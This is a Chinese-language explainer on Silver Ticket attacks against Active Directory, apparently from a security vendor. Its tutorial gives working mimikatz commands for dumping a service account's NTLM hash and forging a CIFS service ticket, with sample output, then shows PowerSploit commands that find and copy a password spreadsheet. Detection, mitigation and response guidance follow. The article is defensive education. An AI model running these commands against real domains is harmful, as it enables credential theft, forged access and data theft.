Silver Ticket 攻击
与 Golden Ticket 在概念上类似,Silver Ticket 攻击涉及窃取凭据,并滥用 Kerberos 协议的设计。然而,与 Golden Ticket 不同的是,Golden Ticket 可让攻击者对域获得不受限制的访问;而 Silver Ticket 只允许攻击者伪造用于特定服务的票据授权服务(TGS)票据。TGS 票据使用该服务的密码哈希进行加密;因此,如果攻击者窃取了某个服务帐户的哈希,他们就可以为该服务生成(mint)TGS 票据。尽管 Silver Ticket 攻击的范围可能更小,但它仍然是攻击者工具箱中的强大手段,可实现对资源的持久且隐蔽的访问。由于只需要服务帐户的密码哈希,因此它的执行也明显比 Golden Ticket 攻击更容易。诸如从 LSASS.exe 收集哈希以及 Kerberoasting 等技术,是攻击者获取服务帐户密码哈希的常见方式。
威胁概述
目标:Active Directory
工具:mimikatz、impacket、PowerSploit
ATT&CK® 战术:凭据访问
ATT&CK 技术:T1558.002
难度
检测:困难
缓解:困难
响应:中等
攻击教程:银票(Silver Ticket)攻击如何运作
步骤 1
泄露(攻破)服务账户的凭据
要获得签发 TGS 票据的能力,攻击者必须首先攻破(泄露)服务账户的密码哈希。在这个示例中,已经攻破了文件服务器的攻击者现在会进一步攻破服务账户的密码哈希:
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
步骤 2
伪造 Kerberos TGS 票据
像 mimikatz 这样的工具可用于伪造“Silver Tickets”。伪造 TGS 票据的流程类似于伪造“Golden Tickets”。并且在
- /domain — Active Directory 域的完全限定域名(FQDN)
- /sid — Active Directory 域的 SID
- /user — 要冒充的用户名
- /target — 服务器的完全限定域名(FQDN)
- /service — 目标服务名称
- /rc4 — NTLM/RC4 密码哈希
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
第 3 步
使用伪造的票据以达成进一步的目标
在上一阶段,攻击者伪造了一个银票(silver ticket),并将其注入到一个新的 cmd.exe 会话中。攻击者“铸造”(mint)的 Silver Ticket 指定了 cifs 服务,这将使攻击者能够使用伪造的 TGS 来访问文件共享。由于 TGS 是伪造的,它可以为域中实际上并不存在的用户创建,从而使响应人员更难追踪攻击者。在此示例中,攻击者使用伪造的票据以及 PowerShell 模块中的 Find-InterestingFile cmdlet 来 PowerSploit 扫描文件共享中的敏感数据并将其外传(exfiltrate)。
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
检测、缓解与响应
检测
难度:高
获取票证授权服务票证(ticket-granting service ticket)的正常流程是请求域控制器来生成。调用方在证明其身份之后,域控制器会使用服务帐户密码对 TGS 进行加密后进行回复。但由于攻击者已经攻破了该密码,他们无需与域控制器通信,就可以“铸造”(mint)TGS 票证。因此,检测银票(Silver Tickets)只能在端点(endpoint)上进行,并且需要检查 TGS 票证中是否存在细微的篡改迹象,例如:
- 不存在的用户名
- 被修改的组成员关系(添加或移除)
- 用户名与 ID 不匹配
- 比正常情况更弱的加密类型,或票据生命周期超过域的最大值(域默认生命周期为 10 小时;mimikatz 默认值为 10 年)
Windows 事件日志中有几个审计事件,对检测 Silver Tickets 很有用:
事件
源
信息
成员计算机
- 用户的安全标识符(SID)
- 组成员关系
成员计算机
- 用户的安全标识符(SID)
- 用户名
- 源 IP(可能已被入侵的主机)
缓解
难度:中等
由于 Silver Tickets 滥用 Kerberos 协议,其使用风险无法完全消除。不过,存在多种缓解措施,可让攻击者更难以攻破服务帐户的密码哈希。
- 对服务帐户采用强密码卫生习惯:其密码应随机生成,长度至少 30 个字符,并定期例行更换。
- 启用 PAC Validation。尽管它有 已知的局限性,但在某些情况下,它可能有助于检测与防范 Silver tickets。
- 在成员工作站上移除终端用户的管理权限,并采用受控的权限提升解决方案。
- 将对成员工作站和服务器的管理访问权限降到最低所需水平。
- 使用类似 Microsoft LAPS 这样的解决方案,为本地管理员帐户创建强壮、随机且唯一的密码,并定期自动轮换。
- 对 Kerberoasting 应用推荐的缓解措施。
- 不要允许用户在安全边界之间拥有管理权限。例如,攻击者一开始入侵工作站后,不应能够通过权限提升从工作站移动到服务器或域控制器。
响应
难度:中等
如果检测到 Silver Ticket,应采取以下响应操作:
- 启动事件响应流程,并通知事件响应团队。
- 为进行取证调查以及清除与恢复活动,将所有被牵涉的计算机隔离。
- 重置已被攻破的服务帐户的密码。
分享到
滥用 Entra ID 应用权限——工作原理与防御策略
AdminSDHolder 修改——工作原理与防御策略
AS-REP Roasting 攻击:工作原理与防御策略
Hafnium 攻击——工作原理与防御策略
DCSync 攻击解析:对 Active Directory 安全的威胁
理解 Pass-the-Hash(PtH)攻击
什么是 Golden Ticket 攻击?工作原理、检测与防护
gMSA 利用攻击与 Golden gMSA 攻击详解
DCShadow 攻击——工作原理、真实案例与防御策略
ChatGPT 提示注入(prompt injection):了解风险、示例与防范
NTDS.dit 提取攻击详解
Kerberoasting 攻击——工作原理与防御策略
Pass-the-Ticket(传票)攻击解析:风险、示例与防御策略
理解密码喷洒(password spraying)攻击
明文密码提取(Plaintext Password Extraction)解析:风险、示例与防范
Zerologon 漏洞详解:风险、利用方式与缓解措施
勒索软件攻击完整指南
Skeleton Key 攻击:工作原理与检测方法
横向移动(Lateral Movement):它是什么、如何运作及防护措施
中间人(MITM)攻击:它们是什么,以及如何防范
为什么 PowerShell 对攻击者来说如此受欢迎?
4 种服务账号攻击及防护方法
如何防止恶意软件攻击影响您的业务
什么是凭证填充(Credential Stuffing)?
使用 PowerUpSQL 破坏 SQL Server
什么是 Mousejacking(鼠标劫持)攻击,以及如何防御
使用 Security Support Provider(SSP)窃取凭据
彩虹表攻击:工作原理与防御方法
深入了解密码攻击及其防止方法
LDAP Reconnaissance
通过 Pass-the-Cookie 攻击绕过 MFA
Golden SAML 攻击终极指南